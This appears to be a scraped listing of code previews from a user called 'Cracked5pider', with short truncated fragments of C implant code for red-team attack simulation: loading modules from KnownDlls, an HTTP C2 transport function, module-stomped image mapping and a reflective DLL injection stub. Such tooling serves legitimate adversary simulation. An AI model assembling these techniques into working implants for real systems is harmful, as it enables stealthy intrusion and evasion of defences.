Cracked5pider

/*!
 * @brief
 *  Loads a module from KnownDlls using
 *  NtOpenSection & NtMapViewSection
 *
 * @param ModuleName
 *  Wide String name of module to
 *  load from KnownDlls
 *
 * @return

Cracked5pider

BOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T RecvSize )
{
#ifdef TRANSPORT_HTTP
    HANDLE  hConnect        = NULL;
    HANDLE  hSession        = NULL;
    HANDLE  hRequest        = NULL;
    
    DWORD   HttpFlags       = 0;

    LPVOID  RespBuffer      = NULL;

Cracked5pider

/*!
 *
 * ROGUE
 *
 * GuidePoint Security LLC
 *
 * Threat and Attack Simulation
 *
!*/

Cracked5pider

#include <Buffer.h>

/*!
 * Allocates an empty buffer
 * @return pointer to empty buffer
 */
PVOID BufferNew(  )
{
    // Allocate a buffer that contains * nothing *
    return ( PVOID ) LocalAlloc( LPTR, 0 );

Cracked5pider

		MapImg = MemAllocateStomped( &fTable, ImgLen );
		
		if ( !MapImg ) {
			sParam.ImgMod = TRUE;
			MapImg = MemAllocateVirtual( &fTable, ImgLen );
		};
		InlineZeroMemory( MapImg, ImgLen );

		SecHdr = IMAGE_FIRST_SECTION( NtsHdr );
		for ( INT i = 0 ; i < NtsHdr->FileHeader.NumberOfSections ; ++i ) {

Cracked5pider

//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include <stdio.h>

// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.